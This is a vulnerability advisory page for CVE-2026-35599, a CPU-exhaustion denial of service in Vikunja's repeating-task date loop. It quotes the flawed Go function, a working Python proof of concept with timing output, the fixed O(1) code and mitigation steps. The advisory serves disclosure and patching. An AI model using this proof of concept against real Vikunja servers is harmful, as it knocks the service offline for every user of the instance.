NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-35599 — api

MEDIUMFix: go-vikunja/vikunja@6df0d6c

CVE-2026-35599 is a medium-severity (CVSS 6.5) CWE-407 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Vikunja has an Algorithmic Complexity DoS in Repeating Task Handler

Also known asGHSA-r4fg-73rc-hhh7GO-2026-5608
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35599.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk-0.24%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk
0.00%0.36%0.72%1.08%0.0%0.3%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.3.0go get code.vikunja.io/api@v2.3.0

Affected Products

1 product · 1 configurations
Application
vikunjavikunja
< 2.3.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35599 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary The `addRepeatIntervalToTime` function uses an O(n) loop that advances a date by the task's `RepeatAfter` duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request. ## Details The vulnerable function at `pkg/models/tasks.go:1456-1464`: ```go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { for { t = t.Add(duration) if t.After(now) {
O3 Security · Impact-Aware SCA

Is CVE-2026-35599 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-35599: api DoS — Fixed in 2.3.0